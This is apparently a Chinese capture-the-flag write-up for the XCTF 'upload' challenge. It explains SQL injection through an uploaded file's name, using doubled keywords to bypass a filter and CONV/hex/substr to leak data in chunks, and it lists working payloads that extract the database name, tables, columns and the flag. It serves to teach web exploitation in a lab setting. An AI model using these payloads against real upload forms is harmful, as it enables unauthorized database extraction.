收获思路

这道题打破了我对传统文件上传的认识,正常的文件上传

修改后缀名,黑白名单啥的绕过,达到上传我们自己的一句话木马

造成命令执行问题啥的


这一次 竟然来了个文件名sql注入。。我是没想到的。看到wp我才知道 这就很离谱 非常的离谱



知识点1

CONV函数:

上传文件文件名注入,conv函数基本认识(攻防世界upload) - 图1


意思就是我们将substr(hex(dAtaBase))的结果从16进制转换为10进制

期初我没明白为什么要这么长 直接sselectelect database()不就行了吗?


尝试以后发现都是题的设置



**
sselectelect database() => 0**

selecselectt substr(dAtabase(),1,12) => 0

selecselectt substr(hex(dAtabase()),1,12) => 7765625 这里正常应该显示7765625f7570才对,可能是题目的设置,出现字母以后后面内容就会被截断


所以才用到了CONV,讲16进制转换10进制


但是又有一个疑问,为什么substr要设置1到12呢,尝试以后发现当我们设置为1,13时

上传文件文件名注入,conv函数基本认识(攻防世界upload) - 图2

出现了科学计数法,这是无法转换为10进制的,所以才设定了1,12这个限制


搞懂这些就可以开始注入了



解题过程


得到库:

第一步:s**ql’+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+’.jpg **

上传文件文件名注入,conv函数基本认识(攻防世界upload) - 图3

上传后回显

上传文件文件名注入,conv函数基本认识(攻防世界upload) - 图4131277325825392 => web_up (这里将10进制再转化为16进制进行hex解码就出来了)


第二步:sql’+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+’.jpg

上传文件文件名注入,conv函数基本认识(攻防世界upload) - 图5=> 1819238756 => load


两个拼接以后得到数据库为:web_upload



得到表:

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=’web_upload’)),1,12),16,10))+’.jpg


sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=’web_upload’)),13,12),16,10))+’.jpg


sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=’web_upload’)),25,12),16,10))+’.jpg


sql’+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema=’web_upload’)),37,12),16,10))+’.jpg


**
拼接以后为 files,hello_flag_is_here**


得到列:

sql’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=’hello_flag_is_here’)),1,12),16,10))+’.jpg


sql’+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name=’hello_flag_is_here’)),13,12),16,10))+’.jpg


拼接以后为 i_am_flag


得到字段:

sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+’.jpg


sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+’.jpg


sql’+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+’.jpg


拼接以后为 !!_@m_Th.e_F!lag